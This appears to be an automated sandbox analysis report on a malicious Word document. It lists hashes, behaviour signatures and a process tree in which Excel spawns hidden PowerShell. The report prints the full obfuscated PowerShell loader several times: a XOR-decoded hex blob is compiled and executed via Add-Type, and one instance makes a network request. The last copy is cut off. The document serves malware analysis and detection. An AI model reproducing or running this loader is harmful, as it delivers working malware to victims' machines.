ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
101s
max time network
28s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-11_123501.doc
Size

589KB
MD5

c8162976c239ef4bab6640b8e7fc34d6
SHA1

040886ec396369436c03a8b0c766bd442743b33b
SHA256

981020e5ebff5f895e50fe842045e59bdd86f2ae604565731277cd0a8fbf7586
SHA512

3374148a068c437debcda36c8cb6fc1992715145a9b40ede10d8370c15a1e7ffbe5a4b72745f5f0c399d6c8a890f265d4b6250624cc4ddb14cb62521d7426546

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1848 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

780 powershell.exe
1792 powershell.exe
1976 powershell.exe
1668 powershell.exe
1352 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1352 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXE

pid process

1848 WINWORD.EXE
1848 WINWORD.EXE
1916 EXCEL.EXE
2028 EXCEL.EXE
1492 EXCEL.EXE
1612 EXCEL.EXE
1500 EXCEL.EXE

pid	process
1848	WINWORD.EXE

pid	process
780	powershell.exe
1792	powershell.exe
1976	powershell.exe
1668	powershell.exe
1352	powershell.exe

flow	pid	process
4	1352	powershell.exe

pid	process
1848	WINWORD.EXE
1848	WINWORD.EXE
1916	EXCEL.EXE
2028	EXCEL.EXE
1492	EXCEL.EXE
1612	EXCEL.EXE
1500	EXCEL.EXE

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1976	1916	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1352	2028	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	780	1492	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1668	1612	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1792	1500	powershell.exe	EXCEL.EXE

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsc.execsc.execsc.execsc.execsc.exe

description	pid	process	target process
PID 1916 wrote to memory of 1976	1916	EXCEL.EXE	powershell.exe
PID 1916 wrote to memory of 1976	1916	EXCEL.EXE	powershell.exe
PID 1916 wrote to memory of 1976	1916	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1352	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1352	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1352	2028	EXCEL.EXE	powershell.exe
PID 1492 wrote to memory of 780	1492	EXCEL.EXE	powershell.exe
PID 1492 wrote to memory of 780	1492	EXCEL.EXE	powershell.exe
PID 1492 wrote to memory of 780	1492	EXCEL.EXE	powershell.exe
PID 1612 wrote to memory of 1668	1612	EXCEL.EXE	powershell.exe
PID 1612 wrote to memory of 1668	1612	EXCEL.EXE	powershell.exe
PID 1612 wrote to memory of 1668	1612	EXCEL.EXE	powershell.exe
PID 1500 wrote to memory of 1792	1500	EXCEL.EXE	powershell.exe
PID 1500 wrote to memory of 1792	1500	EXCEL.EXE	powershell.exe
PID 1500 wrote to memory of 1792	1500	EXCEL.EXE	powershell.exe
PID 1792 wrote to memory of 956	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 956	1792	powershell.exe	csc.exe
PID 1792 wrote to memory of 956	1792	powershell.exe	csc.exe
PID 1352 wrote to memory of 1344	1352	powershell.exe	csc.exe
PID 1352 wrote to memory of 1344	1352	powershell.exe	csc.exe
PID 1352 wrote to memory of 1344	1352	powershell.exe	csc.exe
PID 1668 wrote to memory of 580	1668	powershell.exe	csc.exe
PID 1668 wrote to memory of 580	1668	powershell.exe	csc.exe
PID 1668 wrote to memory of 580	1668	powershell.exe	csc.exe
PID 780 wrote to memory of 1428	780	powershell.exe	csc.exe
PID 780 wrote to memory of 1428	780	powershell.exe	csc.exe
PID 780 wrote to memory of 1428	780	powershell.exe	csc.exe
PID 1976 wrote to memory of 1060	1976	powershell.exe	csc.exe
PID 1976 wrote to memory of 1060	1976	powershell.exe	csc.exe
PID 1976 wrote to memory of 1060	1976	powershell.exe	csc.exe
PID 580 wrote to memory of 2040	580	csc.exe	cvtres.exe
PID 580 wrote to memory of 2040	580	csc.exe	cvtres.exe
PID 580 wrote to memory of 2040	580	csc.exe	cvtres.exe
PID 1060 wrote to memory of 2036	1060	csc.exe	cvtres.exe
PID 1060 wrote to memory of 2036	1060	csc.exe	cvtres.exe
PID 1060 wrote to memory of 2036	1060	csc.exe	cvtres.exe
PID 956 wrote to memory of 1940	956	csc.exe	cvtres.exe
PID 956 wrote to memory of 1940	956	csc.exe	cvtres.exe
PID 956 wrote to memory of 1940	956	csc.exe	cvtres.exe
PID 1344 wrote to memory of 1972	1344	csc.exe	cvtres.exe
PID 1344 wrote to memory of 1972	1344	csc.exe	cvtres.exe
PID 1344 wrote to memory of 1972	1344	csc.exe	cvtres.exe
PID 1428 wrote to memory of 1704	1428	csc.exe	cvtres.exe
PID 1428 wrote to memory of 1704	1428	csc.exe	cvtres.exe
PID 1428 wrote to memory of 1704	1428	csc.exe	cvtres.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1848 WINWORD.EXE
1848 WINWORD.EXE

pid	process
1848	WINWORD.EXE
1848	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	780	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-11_123501.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:1848

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function lac63ba {param($bb9b62)$d2a55fb='l6815';$j48a76='';for ($i=0; $i -lt $bb9b62.length;$i+=2){$w5a83=[convert]::ToByte($bb9b62.Substring($i,2),16);$j48a76+=[char]($w5a83 -bxor $d2a55fb[($i/2)%$d2a55fb.length]);}return $j48a76;} $h2b81d = '1945515f524c65414241095b03444605585f116615454c545842644d5f41055b5d1f7c02425d435a1c655d434305555d420e1945515f524c65414241095b16755c0d51565e46185f5b420e1945515f524c65414241095b16787a57434b585b0b166b48461853551f7b0942033c3f1c435a5d5c0f165b5d541f451850010d020a4a6e285a5478581c594a451d4e5d5d435b095a0b03174073564547156657585b180b1a765018664a5e562d525c43501f451a18684c464d535905551842410d42515215094e4c54470216715f413c424a115008010e031d25584c61411e164a00015a020f1d461844515f524c440a570c091f036a71005a715c4503444c191707534a5f5000050a13194c73564547156657585b1816051117205959557905544a50471514116c151c435a5d5c0f164b4554185f5b115014425d435b4c7f5645651844185b0054555b19461844515f524c460f50025a57110a6e285a5478581c594a451d4e5d5d435b095a0b031740167d5f411e4f685e5c024205136305444c445400664a5e4109554c131c3116484457005f5b114618574c58564c534045501e5818535a035a18410d0f550e5407447f5645651844185b0059505c05004063715f413c424a114d5b535d035740164d585b18165d55535f0f14115a194218445c02421842025a000b180e3772545d7c0146574341441473544702535402074252545d1740167d5f411e4f685e5c0242051367185a755e43097b5d5c5a1e4f1a1d153f534c7d541f427d4347034405575400455d18684c454c5041055518544d18534a5f151a595155151e54595000447f56456518441843530d075a041925584c61411e165e0400090501531905584c114059570d06075d1f0341400e5a5152151f4259455c0f16515f414c47000503080710184e25584c61411e1648080c5b05095015511652040d0f55105d540f000b535444140855000e025a040d5d540809000d030c131c450d51571d1c0f0106065d57050c7c0242684547426c5d435a454d5f5e4103165b530c54010b0a4825584c61411e1642530254540554515b000a1945550f0f02040d1a5450565a055a501d4e045c045758540d09035a065e040259000f02015c0659040559520c0217451f035853444c5a060d0e0b05785b18664c431b36534a5e1c175157455a4c555a080d5b05034c6025584c61411e165700510e030e09084463715f413c424a18005743515f414c410d50515e0705010e055010104554555b07505e1e4253025454145e0408540d070d400640050540594d45151b035955075d1f114a5203425711560e0f000606574b7a4841096d6511415a545a0608170640020440064057534006400805110d715f413c424a115e58535e000821574a425d0d5a16705900595b797200595a50594405110a780d444b595400187b5e45151e4c07570e0114011907025d57044005110a470e5759041d02534f117c0242684547444c5a060d0e186c5e7c02420e051d451d0849055c075a181907025d57044005110a560e0f00060656166f54572f5a51545b18164b080d08505e060802534f116209547b5d5c09584c191c57454c435c02511856025f04010603517356475c1e59565c5002421676501870575d510944685041041e7d5f430544575f5809584c1f661c535b58540070575d5109441670451c5a515254185f575f710d4259181e4e6a64430d5f550e131e00575b07060e571013015e030b050559021a180e1f0f0055530a0116755a1b58545e540870515d50445a5952035f545919175c020c03010f0209015358050908010e030104015c570d570155020d05025c520d030008020b00575c500d080059075d04015d500c040008020d00545c060d57000d075d04065c0f0d530008075e04055d020d0217451a5f06065e0f0f071c57664a5e5609454b62410d444c785b0a591843030a015c0c5b094118614703555d42463f4259434125585e5e1d0b010b030c5b00110a651e595b54461f186b45541e421043030a015c180e1e534c44470216080a481c435a5d5c0f164b4554185f5b11461844515f524c5a5952035f545919461844515f524c440f020254505a184e1f424a585b0b164a00015a020f0c1700000000004e0d4b454705585f115f590e5b52083f424a585b0b187d5c45184f03575a1e1e515f414c5f05010e050a4a06065b0e5e531b2053565641040d511a085e1f43534c18531854515b000a0c7603584e544718186c5e7715425d19475b050f09530e186b44571f424a585b0b1e511d07451a09071c575c0d09560f1d05195604574a181d09520f07074c6818430458000c066e445f17031c4c1318430458000c061b2053565641046b110a481e534c4447021652040d0f55034c48'; $h2b81d2 = lac63ba($h2b81d); Add-Type -TypeDefinition $h2b81d2; [a4a42]::q846d1();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\utf0rkuj\utf0rkuj.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFD.tmp" "c:\Users\Admin\AppData\Local\Temp\utf0rkuj\CSC3DB53344DB2648F5A91F537C5573FECD.TMP"
4⤵
PID:2036

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function lac63ba {param($bb9b62)$d2a55fb='l6815';$j48a76='';for ($i=0; $i -lt $bb9b62.length;$i+=2){$w5a83=[convert]::ToByte($bb9b62.Substring($i,2),16);$j48a76+=[char]($w5a83 -bxor $d2a55fb[($i/2)%$d2a55fb.length]);}return $j48a76;} $h2b81d = '1945515f524c65414241095b03444605585f116615454c545842644d5f41055b5d1f7c02425d435a1c655d434305555d420e1945515f524c65414241095b16755c0d51565e46185f5b420e1945515f524c65414241095b16787a57434b585b0b166b48461853551f7b0942033c3f1c435a5d5c0f165b5d541f451850010d020a4a6e285a5478581c594a451d4e5d5d435b095a0b03174073564547156657585b180b1a765018664a5e562d525c43501f451a18684c464d535905551842410d42515215094e4c54470216715f413c424a115008010e031d25584c61411e164a00015a020f1d461844515f524c440a570c091f036a71005a715c4503444c191707534a5f5000050a13194c73564547156657585b1816051117205959557905544a50471514116c151c435a5d5c0f164b4554185f5b115014425d435b4c7f5645651844185b0054555b19461844515f524c460f50025a57110a6e285a5478581c594a451d4e5d5d435b095a0b031740167d5f411e4f685e5c024205136305444c445400664a5e4109554c131c3116484457005f5b114618574c58564c534045501e5818535a035a18410d0f550e5407447f5645651844185b0059505c05004063715f413c424a114d5b535d035740164d585b18165d55535f0f14115a194218445c02421842025a000b180e3772545d7c0146574341441473544702535402074252545d1740167d5f411e4f685e5c0242051367185a755e43097b5d5c5a1e4f1a1d153f534c7d541f427d4347034405575400455d18684c454c5041055518544d18534a5f151a595155151e54595000447f56456518441843530d075a041925584c61411e165e0400090501531905584c114059570d06075d1f0341400e5a5152151f4259455c0f16515f414c47000503080710184e25584c61411e1648080c5b05095015511652040d0f55105d540f000b535444140855000e025a040d5d540809000d030c131c450d51571d1c0f0106065d57050c7c0242684547426c5d435a454d5f5e4103165b530c54010b0a4825584c61411e1642530254540554515b000a1945550f0f02040d1a5450565a055a501d4e045c045758540d09035a065e040259000f02015c0659040559520c0217451f035853444c5a060d0e0b05785b18664c431b36534a5e1c175157455a4c555a080d5b05034c6025584c61411e165700510e030e09084463715f413c424a18005743515f414c410d50515e0705010e055010104554555b07505e1e4253025454145e0408540d070d400640050540594d45151b035955075d1f114a5203425711560e0f000606574b7a4841096d6511415a545a0608170640020440064057534006400805110d715f413c424a115e58535e000821574a425d0d5a16705900595b797200595a50594405110a780d444b595400187b5e45151e4c07570e0114011907025d57044005110a470e5759041d02534f117c0242684547444c5a060d0e186c5e7c02420e051d451d0849055c075a181907025d57044005110a560e0f00060656166f54572f5a51545b18164b080d08505e060802534f116209547b5d5c09584c191c57454c435c02511856025f04010603517356475c1e59565c5002421676501870575d510944685041041e7d5f430544575f5809584c1f661c535b58540070575d5109441670451c5a515254185f575f710d4259181e4e6a64430d5f550e131e00575b07060e571013015e030b050559021a180e1f0f0055530a0116755a1b58545e540870515d50445a5952035f545919175c020c03010f0209015358050908010e030104015c570d570155020d05025c520d030008020b00575c500d080059075d04015d500c040008020d00545c060d57000d075d04065c0f0d530008075e04055d020d0217451a5f06065e0f0f071c57664a5e5609454b62410d444c785b0a591843030a015c0c5b094118614703555d42463f4259434125585e5e1d0b010b030c5b00110a651e595b54461f186b45541e421043030a015c180e1e534c44470216080a481c435a5d5c0f164b4554185f5b11461844515f524c5a5952035f545919461844515f524c440f020254505a184e1f424a585b0b164a00015a020f0c1700000000004e0d4b454705585f115f590e5b52083f424a585b0b187d5c45184f03575a1e1e515f414c5f05010e050a4a06065b0e5e531b2053565641040d511a085e1f43534c18531854515b000a0c7603584e544718186c5e7715425d19475b050f09530e186b44571f424a585b0b1e511d07451a09071c575c0d09560f1d05195604574a181d09520f07074c6818430458000c066e445f17031c4c1318430458000c061b2053565641046b110a481e534c4447021652040d0f55034c48'; $h2b81d2 = lac63ba($h2b81d); Add-Type -TypeDefinition $h2b81d2; [a4a42]::q846d1();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1352

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uthlc2il\uthlc2il.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEEE.tmp" "c:\Users\Admin\AppData\Local\Temp\uthlc2il\CSCFBF4D0F8A3D94AA1A93279D423FF83C1.TMP"
4⤵
PID:1972

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function lac63ba {param($bb9b62)$d2a55fb='l6815';$j48a76='';for ($i=0; $i -lt $bb9b62.length;$i+=2){$w5a83=[convert]::ToByte($bb9b62.Substring($i,2),16);$j48a76+=[char]($w5a83 -bxor $d2a55fb[($i/2)%$d2a55fb.length]);}return $j48a76;} $h2b81d = '1945515f524c65414241095b03444605585f116615454c545842644d5f41055b5d1f7c02425d435a1c655d434305555d420e1945515f524c65414241095b16755c0d51565e46185f5b420e1945515f524c65414241095b16787a57434b585b0b166b48461853551f7b0942033c3f1c435a5d5c0f165b5d541f451850010d020a4a6e285a5478581c594a451d4e5d5d435b095a0b03174073564547156657585b180b1a765018664a5e562d525c43501f451a18684c464d535905551842410d42515215094e4c54470216715f413c424a115008010e031d25584c61411e164a00015a020f1d461844515f524c440a570c091f036a71005a715c4503444c191707534a5f5000050a13194c73564547156657585b1816051117205959557905544a50471514116c151c435a5d5c0f164b4554185f5b115014425d435b4c7f5645651844185b0054555b19461844515f524c460f50025a57110a6e285a5478581c594a451d4e5d5d435b095a0b031740167d5f411e4f685e5c024205136305444c445400664a5e4109554c131c3116484457005f5b114618574c58564c534045501e5818535a035a18410d0f550e5407447f5645651844185b0059505c05004063715f413c424a114d5b535d035740164d585b18165d55535f0f14115a194218445c02421842025a000b180e3772545d7c0146574341441473544702535402074252545d1740167d5f411e4f685e5c0242051367185a755e43097b5d5c5a1e4f1a1d153f534c7d541f427d4347034405575400455d18684c454c5041055518544d18534a5f151a595155151e54595000447f56456518441843530d075a041925584c61411e165e0400090501531905584c114059570d06075d1f0341400e5a5152151f4259455c0f16515f414c47000503080710184e25584c61411e1648080c5b05095015511652040d0f55105d540f000b535444140855000e025a040d5d540809000d030c131c450d51571d1c0f0106065d57050c7c0242684547426c5d435a454d5f5e4103165b530c54010b0a4825584c61411e1642530254540554515b000a1945550f0f02040d1a5450565a055a501d4e045c045758540d09035a065e040259000f02015c0659040559520c0217451f035853444c5a060d0e0b05785b18664c431b36534a5e1c175157455a4c555a080d5b05034c6025584c61411e165700510e030e09084463715f413c424a18005743515f414c410d50515e0705010e055010104554555b07505e1e4253025454145e0408540d070d400640050540594d45151b035955075d1f114a5203425711560e0f000606574b7a4841096d6511415a545a0608170640020440064057534006400805110d715f413c424a115e58535e000821574a425d0d5a16705900595b797200595a50594405110a780d444b595400187b5e45151e4c07570e0114011907025d57044005110a470e5759041d02534f117c0242684547444c5a060d0e186c5e7c02420e051d451d0849055c075a181907025d57044005110a560e0f00060656166f54572f5a51545b18164b080d08505e060802534f116209547b5d5c09584c191c57454c435c02511856025f04010603517356475c1e59565c5002421676501870575d510944685041041e7d5f430544575f5809584c1f661c535b58540070575d5109441670451c5a515254185f575f710d4259181e4e6a64430d5f550e131e00575b07060e571013015e030b050559021a180e1f0f0055530a0116755a1b58545e540870515d50445a5952035f545919175c020c03010f0209015358050908010e030104015c570d570155020d05025c520d030008020b00575c500d080059075d04015d500c040008020d00545c060d57000d075d04065c0f0d530008075e04055d020d0217451a5f06065e0f0f071c57664a5e5609454b62410d444c785b0a591843030a015c0c5b094118614703555d42463f4259434125585e5e1d0b010b030c5b00110a651e595b54461f186b45541e421043030a015c180e1e534c44470216080a481c435a5d5c0f164b4554185f5b11461844515f524c5a5952035f545919461844515f524c440f020254505a184e1f424a585b0b164a00015a020f0c1700000000004e0d4b454705585f115f590e5b52083f424a585b0b187d5c45184f03575a1e1e515f414c5f05010e050a4a06065b0e5e531b2053565641040d511a085e1f43534c18531854515b000a0c7603584e544718186c5e7715425d19475b050f09530e186b44571f424a585b0b1e511d07451a09071c575c0d09560f1d05195604574a181d09520f07074c6818430458000c066e445f17031c4c1318430458000c061b2053565641046b110a481e534c4447021652040d0f55034c48'; $h2b81d2 = lac63ba($h2b81d); Add-Type -TypeDefinition $h2b81d2; [a4a42]::q846d1();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:780

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0rec0jbq\0rec0jbq.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEFE.tmp" "c:\Users\Admin\AppData\Local\Temp\0rec0jbq\CSCFF8F4649FDB44452B0A73F7DD49776D.TMP"
4⤵
PID:1704

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function lac63ba {param($bb9b62)$d2a55fb='l6815';$j48a76='';for ($i=0; $i -lt $bb9b62.length;$i+=2){$w5a83=[convert]::ToByte($bb9b62.Substring($i,2),16);$j48a76+=[char]($w5a83 -bxor $d2a55fb[($i/2)%$d2a55fb.length]);}return $j48a76;} $h2b81d = '1945515f524c65414241095b03444605585f116615454c545842644d5f41055b5d1f7c02425d435a1c655d434305555d420e1945515f524c65414241095b16755c0d51565e46185f5b420e1945515f524c65414241095b16787a57434b585b0b166b48461853551f7b0942033c3f1c435a5d5c0f165b5d541f451850010d020a4a6e285a5478581c594a451d4e5d5d435b095a0b03174073564547156657585b180b1a765018664a5e562d525c43501f451a18684c464d535905551842410d42515215094e4c54470216715f413c424a115008010e031d25584c61411e164a00015a020f1d461844515f524c440a570c091f036a71005a715c4503444c191707534a5f5000050a13194c73564547156657585b1816051117205959557905544a50471514116c151c435a5d5c0f164b4554185f5b115014425d435b4c7f5645651844185b0054555b19461844515f524c460f50025a57110a6e285a5478581c594a451d4e5d5d435b095a0b031740167d5f411e4f685e5c024205136305444c445400664a5e4109554c131c3116484457005f5b114618574c58564c534045501e5818535a035a18410d0f550e5407447f5645651844185b0059505c05004063715f413c424a114d5b535d035740164d585b18165d55535f0f14115a194218445c02421842025a000b180e3772545d7c0146574341441473544702535402074252545d1740167d5f411e4f685e5c0242051367185a755e43097b5d5c5a1e4f1a1d153f534c7d541f427d4347034405575400455d18684c454c5041055518544d18534a5f151a595155151e54595000447f56456518441843530d075a041925584c61411e165e0400090501531905584c114059570d06075d1f0341400e5a5152151f4259455c0f16515f414c47000503080710184e25584c61411e1648080c5b05095015511652040d0f55105d540f000b535444140855000e025a040d5d540809000d030c131c450d51571d1c0f0106065d57050c7c0242684547426c5d435a454d5f5e4103165b530c54010b0a4825584c61411e1642530254540554515b000a1945550f0f02040d1a5450565a055a501d4e045c045758540d09035a065e040259000f02015c0659040559520c0217451f035853444c5a060d0e0b05785b18664c431b36534a5e1c175157455a4c555a080d5b05034c6025584c61411e165700510e030e09084463715f413c424a18005743515f414c410d50515e0705010e055010104554555b07505e1e4253025454145e0408540d070d400640050540594d45151b035955075d1f114a5203425711560e0f000606574b7a4841096d6511415a545a0608170640020440064057534006400805110d715f413c424a115e58535e000821574a425d0d5a16705900595b797200595a50594405110a780d444b595400187b5e45151e4c07570e0114011907025d57044005110a470e5759041d02534f117c0242684547444c5a060d0e186c5e7c02420e051d451d0849055c075a181907025d57044005110a560e0f00060656166f54572f5a51545b18164b080d08505e060802534f116209547b5d5c09584c191c57454c435c02511856025f04010603517356475c1e59565c5002421676501870575d510944685041041e7d5f430544575f5809584c1f661c535b58540070575d5109441670451c5a515254185f575f710d4259181e4e6a64430d5f550e131e00575b07060e571013015e030b050559021a180e1f0f0055530a0116755a1b58545e540870515d50445a5952035f545919175c020c03010f0209015358050908010e030104015c570d570155020d05025c520d030008020b00575c500d080059075d04015d500c040008020d00545c060d57000d075d04065c0f0d530008075e04055d020d0217451a5f06065e0f0f071c57664a5e5609454b62410d444c785b0a591843030a015c0c5b094118614703555d42463f4259434125585e5e1d0b010b030c5b00110a651e595b54461f186b45541e421043030a015c180e1e534c44470216080a481c435a5d5c0f164b4554185f5b11461844515f524c5a5952035f545919461844515f524c440f020254505a184e1f424a585b0b164a00015a020f0c1700000000004e0d4b454705585f115f590e5b52083f424a585b0b187d5c45184f03575a1e1e515f414c5f05010e050a4a06065b0e5e531b2053565641040d511a085e1f43534c18531854515b000a0c7603584e544718186c5e7715425d19475b050f09530e186b44571f424a585b0b1e511d07451a09071c575c0d09560f1d05195604574a181d09520f07074c6818430458000c066e445f17031c4c1318430458000c061b2053565641046b110a481e534c4447021652040d0f55034c48'; $h2b81d2 = lac63ba($h2b81d); Add-Type -TypeDefinition $h2b81d2; [a4a42]::q846d1();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rwbousj4\rwbousj4.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:580

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF00.tmp" "c:\Users\Admin\AppData\Local\Temp\rwbousj4\CSC9CD8C47688F94510ADE6CCC10E34F10.TMP"
4⤵
PID:2040

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function lac63ba {param($bb9b62)$d2a55fb='l6815';$j48a76='';for ($i=0; $i -lt $bb9b62.length;$i+=2){$w5a83=[convert]::ToByte($bb9b62.Substring($i,2),16);$j48a76+=[char]($w5a83 -bxor $d2a55fb[($i/2)%$d2a55fb.length]);}return $j48a76;} $h2b81d = '1945515f524c65414241095b03444605585f116615454c545842644d5f41055b5d1f7c02425d435a1c655d434305555d420e1945515f524c65414241095b16755c0d51565e46185f5b420e1945515f524c65414241095b16787a57434b585b0b166b48461853551f7b0942033c3f1c435a5d5c0f165b5d541f451850010d020a4a6e285a5478581c594a451d4e5d5d435b095a0b03174073564547156657585b180b1a765018664a5e562d525c43501f451a18684c464d535905551842410d42515215094e4c54470216715f413c424a115008010e031d25584c61411e164a00015a020f1d461844515f524c440a570c091f036a71005a715c4503444c191707534a5f5000050a13194c73564547156657585b1816051117205959557905544a50471514116c151c435a5d5c0f164b4554185f5b115014425d435b4c7f5645651844185b0054555b19461844515f524c460f50025a57110a6e285a5478581c594a451d4e5d5d435b095a0b031740167d5f411e4f685e5c024205136305444c445400664a5e4109554c131c3116484457005f5b114618574c58564c534045501e5818535a035a18410d0f550e5407447f5645651844185b0059505c05004063715f413c424a114d5b535d035740164d585b18165d55535f0f14115a194218445c02421842025a000b180e3772545d7c0146574341441473544702535402074252545d1740167d5f411e4f685e5c0242051367185a755e43097b5d5c5a1e4f1a1d153f534c7d541f427d4347034405575400455d18684c454c5041055518544d18534a5f151a595155151e54595000447f56456518441843530d075a041925584c61411e165e0400090501531905584c114059570d06075d1f0341400e5a5152151f4259455c0f16515f414c47000503080710184e25584c61411e1648080c5b05095015511652040d0f55105d540f000b535444140855000e025a040d5d540809000d030c131c450d51571d1c0f0106065d57050c7c0242684547426c5d435a454d5f5e4103165b530c54010b0a4825584c61411e1642530254540554515b000a1945550f0f02040d1a5450565a055a501d4e045c045758540d09035a065e040259000f02015c0659040559520c0217451f035853444c5a060d0e0b05785b18664c431b36534a5e1c175157455a4c555a080d5b05034c6025584c61411e165700510e030e09084463715f413c424a18005743515f414c410d50515e0705010e055010104554555b07505e1e4253025454145e0408540d070d400640050540594d45151b035955075d1f114a5203425711560e0f000606574b7a4841096d6511415a545a0608170640020440064057534006400805110d715f413c424a115e58535e000821574a425d0d5a16705900595b797200595